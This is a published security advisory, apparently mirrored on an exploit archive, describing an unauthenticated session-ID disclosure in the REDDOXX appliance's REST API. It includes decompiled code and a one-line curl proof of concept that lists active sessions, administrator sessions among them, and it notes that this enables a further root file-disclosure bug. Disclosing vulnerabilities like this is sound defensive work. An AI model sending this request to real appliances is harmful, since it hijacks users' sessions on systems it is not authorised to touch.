exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

REDDOXX Appliance Session Identifier Extraction

REDDOXX Appliance Session Identifier Extraction
Posted Jul 24, 2017
Site redteam-pentesting.de

RedTeam Pentesting discovered an information disclosure vulnerability in the REDDOXX appliance software, which allows unauthenticated attackers to extract valid session IDs. Affected versions include build 2032 and 2.0.625.

tags | exploit, info disclosure
SHA-256 | c1999c59bf1a49e27b345dcd1c7259a0a82d09f67464808f16ff746ad4c41449

REDDOXX Appliance Session Identifier Extraction

Change Mirror Download
Advisory: Unauthenticated Extraction of Session-IDs in REDDOXX Appliance

RedTeam Pentesting discovered an information disclosure vulnerabilty in
the REDDOXX appliance software, which allows unauthenticated attackers
to extract valid session IDs.

Details
=======

Product: REDDOXX Appliance
Affected Versions: Build 2032 / v2.0.625, older versions likely affected too
Fixed Versions: Version 2032 SP2
Vulnerability Type: Information Disclosure
Security Risk: high
Vendor URL: https://www.reddoxx.com/
Vendor Status: patch available
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2017-005
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"REDDOXX is a leading supplier of solutions for e-mail archiving,
encrypted and digitally signed e-mail traffic as well as spam
protection. Our focus is on technological innovation: taking our cue
from our clientsa requirements our competent and quality-conscious
employees strive to offer you the best possible products at all times.
Using stringent quality standards and proven processes we keep
developing our company and products continuously, with the goal of
continuous improvement."

(from the vendor's homepage)


More Details
============

Through the ISO provided on the vendor's homepage [1], it was possible to
analyze the files in a typical REDDOXX appliance [0] installation.
Several API endpoints are defined in the Apache webserver configuration
file /etc/apache2/sites-enabled/cust-000-reddoxx.conf:

------------------------------------------------------------------------
ProxyPass /RdxEngine/ http://localhost:8001/JSON/ retry=0
ProxyPassReverse /RdxEngine/ http://localhost:8001/JSON/

ProxyPass /RdxEngineBin/ http://localhost:8001/BIN/ retry=0
ProxyPassReverse /RdxEngineBin/ http://localhost:8001/BIN/

# New Rest API Version 1
ProxyPass /api/v1/proxy/ http://localhost:4711/ retry=0
ProxyPassReverse /api/v1/proxy/ http://localhost:4711/

[...]
------------------------------------------------------------------------

The endpoint /api/v1/proxy, labelled "New Rest API Version 1", offers
several routes, which can normaly only be used by administrators and
require authentication.

Through analysis of the .NET binaries pertaining to this endpoint,
extracted from the appliance's ISO, the supported routes were examined.
In general, the methods handling the routes look similar to the
following:

------------------------------------------------------------------------
// Reddoxx.Rest.Proxy.Remote.Service.LegacyServiceProxy
[Authenticate]
public object Any(GetUserListRequest msg)
{
ApiCommand command = new ApiCommand("GetUserList");
ApiResult apiResult = this.LegacyClient.SendCommand(command);
[...]
}
------------------------------------------------------------------------

Most of them contain, in particular, the attribute 'Authenticate'.
RedTeam Pentesting assumes that this attribute is used to inform the
underlying framework that authentication is required in order to access
this method.

During further analysis of the methods handling the routes, the method
handling request messages of type 'GetSessionListRequest' was found:

------------------------------------------------------------------------
// Reddoxx.Rest.Proxy.Remote.Service.LegacyServiceProxy
public object Any(GetSessionListRequest msg)
{
ApiCommand command = new ApiCommand("GetSessionsList");
ApiResult apiResult = this.LegacyClient.SendCommand(command);
[...]
}
------------------------------------------------------------------------

This method returns a list of currently active sessions and did not
contain the aforementioned attribute. Examination of the
'GetSessionListRequest' type showed the route associated with the
method:

------------------------------------------------------------------------
namespace Reddoxx.Rest.Proxy.Remote.Messages
{
[Route("/sessions", "GET")]
public class GetSessionListRequest :
IReturn<GetSessionListResponse>, IReturn
{
}
}
------------------------------------------------------------------------

Accessing this route on the appliance yields a list of active sessions.
No authentication is required for this access.


Proof of Concept
================

The following curl command-line can be used to trigger the vulnerability
and access the list of current sessions:

------------------------------------------------------------------------
$ curl --silent http://www.example.com/api/v1/proxy/sessions | jq .
{
"Data": [
{
"Id": "XXXXXXXX",
"SessionType": "Console",
"IPAddress": "127.0.0.1",
"Details": "rdx-build-in-service-user@local"
},
{
"Id": "XXXXXXXX",
"SessionType": "Console",
"IPAddress": "127.0.0.1",
"Details": "rdx-build-in-service-user@local"
},
{
"Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
"SessionType": "WebService",
"IPAddress": "",
"Details": "rdx-build-in-service-user@local Last access: 22-5-17 10:26:17"
},
{
"Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
"SessionType": "WebService",
"IPAddress": "",
"Details": "Info@[...] Last access: 22-5-17 09:53:21"
},
{
"Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
"SessionType": "WebService",
"IPAddress": "",
"Details": "Administrator@[...] Last access: 22-5-17 10:09:30"
},
{
"Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
"SessionType": "WebService",
"IPAddress": "",
"Details": "rdx-build-in-service-user@local Last access: 22-5-17 10:11:19"
},
{
"Id": "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}",
"SessionType": "WebService",
"IPAddress": "",
"Details": "rdx-build-in-service-user@local Last access: 22-5-17 13:13:19"
}
]
}
------------------------------------------------------------------------

The tool jq [2] is used to format the JSON output returned by the
appliance's API.


Workaround
==========

None


Fix
===

Update the appliance software to Version 2032 SP2.


Security Risk
=============

The risk of this vulnerability is estimated to be high. The extracted
session IDs can be used by attackers to impersonate the user associated
with the ID when interacting with the appliance. An authenticated
session is also a precondition to exploit the vulnerability described
in rt-sa-2017-006 [3], which allows arbitrary file disclosure as root.


Timeline
========

2017-05-16 Vulnerability identified
2017-05-23 Customer approved disclosure of vulnerability
2017-05-26 Customer provided details of vulnerability to vendor
2017-06-21 Vulnerability reported as fixed by vendor
2017-07-24 Advisory released


References
==========

[0] https://www.reddoxx.com/en/
[1] https://my.reddoxx.com/documents/manual/en/custdl/product-downloads
(Requires login)
[2] https://stedolan.github.io/jq/
[3] https://www.redteam-pentesting.de/advisories/rt-sa-2017-006


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting GmbH is looking for more penetration testers to join
our team. If you are interested in working for RedTeam Pentesting in
Aachen, please visit the respective section of our website.

--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
GeschA$?ftsfA1/4hrer: Patrick Hof, Jens Liebchen
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close